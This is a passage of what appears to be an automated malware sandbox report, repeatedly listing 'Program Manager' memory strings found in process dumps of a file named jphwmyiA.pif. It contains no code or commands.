          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A4CD000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q8\Q*
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qTz{&
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qT\
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q $v
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qTh
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q$I&
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program Managerl
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q@-<&
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q\TW&
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qTa
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q4Mx
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A4CD000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q <Z*
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qTX
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A55B000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q8Vf
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qHsp&
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qP7a&
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qXGi*
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qTy
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026283000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q8]1&
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q0Oo&
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qX
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q#O&
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qTo
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qh4m
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qL*s*
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qTk
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qPru*
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qTi
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qTw
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A55B000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program Manager@
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qTv
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q 3h&
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q<Vz&
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qTs
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qTr
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qL@^*
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program Manager(
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q`TI&
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qhi2&
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qDkj*
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q$2y&
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qP!
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026283000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qB0&
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A55B000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q`)e
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qpfw*
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qDtp
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A4CD000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q 8P*
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q@#h*
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q8\m
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qP;
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qP9
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A4CD000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qDcY*
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qPB
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qtse&
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qT!h&
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qP,
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q@Vl&
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q@ml
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qTrg*
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qlB|
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026283000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q 90&
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qP1
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q8Nt*
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q@Ei&
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qPZ
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qPW
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A4CD000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qP"T*
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qfw&
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A55B000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qd/`
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qPc
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qPa
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]ql>4&
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A4CD000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qTjV*
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q<Nf*
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qPG
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q,zm&
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qh,^&
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A4CD000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q,?X*
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q}C&
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q@[T&
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qPS
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q,1~*
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026283000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q0@-&
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qp<f*
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q3s*
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qP{
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q01p*
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A55B000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]ql@_
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qPy
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q4yr*
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qPbQ&
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A4CD000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q<FU*
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A55B000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q`(\
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qPk
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q4>^&
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A4CD000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qR*
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q ]w&
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qPt
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qh'v&
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q<8{*
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qPo
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qPm
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qPn
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]ql7
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]ql5
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qP.Z&
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]ql6
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q|mu&
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]ql@
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qT~l*
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]ql>
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]ql;
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q<xv
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q {`*
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q<d?&
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A4CD000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q0KR*
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q0`s
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]ql-
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]ql*
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qlS
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q$)r&
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]ql_
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qHav*
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]ql[
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q$@>&
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]ql\
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qEm&
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q(Qi
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qlC
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q0GI&
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qlN
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qtoQ&
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qp'O&
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q4G;&
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qX~^*
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qlr
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A4CD000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qd9R*
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A4CD000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q,vP*
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q`;q
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]ql|
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qlg
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qle
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qT#n
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qld
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q@NF&
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A4CD000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qxwV*
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A55B000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q<wb
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qli
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q k<&
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qhLp
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q0^~
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q84j&
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qp#
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q(*E&
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026283000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q,w0&
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]ql']&
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q`tr&
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qDQ`&
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q$F{
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q0py&
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qp
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qpo_&
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qt7e*
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q|~z*
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q8o}
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qxDS&
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qdcl&
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qh/
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q4'|*
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026283000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qh),&
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qh7
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qdz8&
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A55B000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qdJa
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qh!
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q<}i
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qhS
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qhQ
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q K}*
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A55B000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qhSZ
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A4CD000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q|LX*
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qp7s*
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qhX
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qH;g&
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qxV7&
